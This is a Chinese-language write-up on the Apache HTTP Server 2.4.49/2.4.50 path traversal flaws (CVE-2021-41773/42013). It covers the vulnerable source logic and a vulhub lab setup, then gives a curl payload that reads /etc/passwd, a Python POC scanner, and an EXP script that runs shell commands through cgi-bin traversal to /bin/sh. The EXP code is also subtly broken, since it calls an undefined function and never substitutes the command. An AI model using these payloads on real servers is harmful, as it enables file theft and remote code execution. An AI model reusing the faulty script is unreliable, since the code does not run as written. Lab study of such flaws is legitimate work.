Apache HTTP Server 2.4.50 路径穿越漏洞
漏洞描述
2021年10月5日,Apache发布更新公告,修复了Apache HTTP Server 2.4.49中的一个路径遍历和文件泄露漏洞(CVE-2021-41773)。
攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“require all denied” 访问控制参数的保护,则这些恶意请求就会成功。除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。
由于对CVE-2021-41773的修复不充分,攻击者可以使用路径遍历攻击,将URL映射到由类似别名的指令配置的目录之外的文件,如果这些目录外的文件没有受到默认配置"require all denied "的保护,则这些恶意请求就会成功。如果还为这些别名路径启用了 CGI 脚本,则能够导致远程代码执行。
影响范围
Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50
漏洞复现
漏洞原理
/* This is the master logic for processing requests. Do NOT duplicate
* this logic elsewhere, or the security model will be broken by future
* API changes. Each phase must be individually optimized to pick up
* redundant/duplicate calls by subrequests, and redirects.
*/
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
......
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
......
/* Ignore URL unescaping for translated URIs already */
if (access_status != DONE && r->parsed_uri.path) {
core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
if (d->allow_encoded_slashes) {
access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
d->decode_encoded_slashes);
}
else {
access_status = ap_unescape_url(r->parsed_uri.path);
}
if (access_status) {
if (access_status == HTTP_NOT_FOUND) {
if (! d->allow_encoded_slashes) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
"found %%2f (encoded '/') in URI path (%s), "
"returning 404", r->unparsed_uri);
}
}
return access_status;
}
ap_normalize_path函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd:
#0 ap_normalize_path (path=0x7f32740916a0 "/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd", flags=flags@entry=14) at util.c:508
#1 0x000055b354ea81c5 in ap_process_request_internal (r=0x7f32740900a0) at request.c:209
#2 0x000055b354ec7980 in ap_process_async_request (r=0x7f32740900a0) at http_request.c:450
#3 0x000055b354ec3db3 in ap_process_http_async_connection (c=0x7f32740af360) at http_core.c:155
#4 ap_process_http_connection (c=0x7f32740af360) at http_core.c:246
#5 0x000055b354eba770 in ap_run_process_connection (c=c@entry=0x7f32740af360) at connection.c:42
#6 0x00007f3276a21a45 in process_socket (thd=<optimized out>, p=<optimized out>, sock=<optimized out>, cs=<optimized out>, my_child_num=<optimized out>, my_thread_num=<optimized out>)
at event.c:1052
#7 0x00007f3276a22322 in worker_thread (thd=0x7f3276a31128, dummy=<optimized out>) at event.c:2141
#8 0x00007f3276cbffa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#9 0x00007f3276bf04cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd。
环境搭建
1.拉取vulhub
git clone https://github.com/vulhub/vulhub
2.进入CVE-2021-41773
`cd ~/vulhub/httpd/CVE-2021-42013
3.启动容器
docker-compose up -d
测试验证
payload如下:
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
POC
import subprocess
import re
import sys
_name=sys.builtin_module_names
def check(url, proxies):
if proxies:
proxies = {proxies['protocol']: proxies['protocol'] + '://' + proxies['ip'] + ':' + str(proxies['port'])}
try:
ret = {'success': False, 'response': [], 'requests': [], 'error': [], 'info': []}
payload1 = 'icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd'
payload2 = 'icons/.%%32e/.%%32e/.%%32e/.%%32e/C:/Windows/win.ini'
popen = subprocess.Popen(['curl', '-v', '--path-as-is', f'{url}{payload1}'],
stdout=subprocess.PIPE)
popen2 = subprocess.Popen(['curl', '-v', '--path-as-is', f'{url}{payload2}'],
stdout=subprocess.PIPE)
data = popen.stdout.read().decode("UTF-8")
data2=popen2.stdout.read().decode("UTF-8")
res = re.findall('(.*?:\w+:\d+:\d+:.*?:[\/\w+]*:[\/\w+]*|\[fonts\])', data, re.DOTALL)
res1 = re.findall('(.*?:\w+:\d+:\d+:.*?:[\/\w+]*:[\/\w+]*|(\[fonts\]))', data2, re.DOTALL)
if res or res1:
ret['success'] = True
ret['info'] = res
except Exception as e:
print(e)
return ret
def main(params):
result = params.get('result', {})
url = params.get('url', '')
headers = params.get('headers', {})
proxies = params.get('proxies', None) # 代理
timeout = params.get('timeout', 5) # 超时时间
result = check(url, proxies)
return result
if __name__ == '__main__':
params = {
'result': {'success': False, 'response': [], 'requests': [], 'error': []},
# headers:传入的header参数
'headers': {},
# proxy:传入的代理服务器参数
'proxies': {'protocol': 'http', 'ip': '127.0.0.1', 'port': 8080},
'timeout': 30,
###可选参数###
'url': "http://your-ip:8080/",
}
print(main(params))
EXP
import subprocess
import re
def check(url, proxies,command):
if proxies:
proxies = {proxies['protocol']: proxies['protocol'] + '://' + proxies['ip'] + ':' + str(proxies['port'])}
try:
ret = {'success': False, 'response': [], 'requests': [], 'error': [], 'info': []}
popen3 = subprocess.Popen([
'curl', '--data','echo;{command}', f'{url}cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'],stdout=subprocess.PIPE)
data=popen3.stdout.read()
print(data)
except Exception as e:
print(e)
return ret
def main(params):
result = params.get('result', {})
url = params.get('url', '')
headers = params.get('headers', {})
proxies = params.get('proxies', None) # 代理
timeout = params.get('timeout', 5) # 超时时间
command = params.get('command','')
result = exp(url, proxies,command)
return result
if __name__ == '__main__':
params = {
'result': {'success': False, 'response': [], 'requests': [], 'error': []},
# headers:传入的header参数
'headers': {},
# proxy:传入的代理服务器参数
'proxies': {'protocol': 'http', 'ip': '127.0.0.1', 'port': 8080},
'timeout': 30,
###可选参数###
'url': "http://172.20.20.138/",
'command':'whoami'
}
print(main(params))
Comments | NOTHING